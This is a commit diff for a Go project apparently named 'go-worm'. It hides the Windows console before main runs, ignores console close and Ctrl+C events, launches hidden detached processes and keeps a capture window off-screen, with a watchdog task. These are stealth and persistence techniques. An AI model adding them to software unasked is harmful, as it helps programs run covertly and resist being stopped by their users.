fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/instance/console_stub.go

@@ -7,3 +7,5 @@ func HideConsole() {}
 func ShowConsole() {}
 
 func ProtectFromConsoleClose() {}
+
+func AllowConsoleKill() {}

lib/instance/console_windows.go

@@ -26,6 +26,13 @@ const (
 	ctrlCloseEvent = 2
 )
 
+func init() {
+	// Must run before main: a console-subsystem build otherwise flashes a
+	// terminal during flag.Parse, which looks like a broken automation step.
+	ProtectFromConsoleClose()
+	HideConsole()
+}
+
 // HideConsole hides any console window and detaches from it.
 func HideConsole() {
 	hwnd, _, _ := procGetConsoleWindow.Call()
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
 }
 
+// AllowConsoleKill restores default Ctrl+C handling for -foreground.
+func AllowConsoleKill() {
+	if consoleCtrlCallback == 0 {
+		return
+	}
+	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
+}
+
 func consoleCtrlHandler(ctrlType uintptr) uintptr {
 	switch uint32(ctrlType) {
 	case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:

lib/instance/launch_windows.go

@@ -5,9 +5,8 @@ package instance
 import (
 	"os"
 	"os/exec"
-	"syscall"
 
-	"golang.org/x/sys/windows"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
 	cmd.Stdin = nul
 	cmd.Stdout = nul
 	cmd.Stderr = nul
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow: true,
-		CreationFlags: windows.CREATE_NO_WINDOW |
-			windows.CREATE_NEW_PROCESS_GROUP |
-			windows.DETACHED_PROCESS,
-	}
+	cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
 	if err := cmd.Start(); err != nil {
 		return err
 	}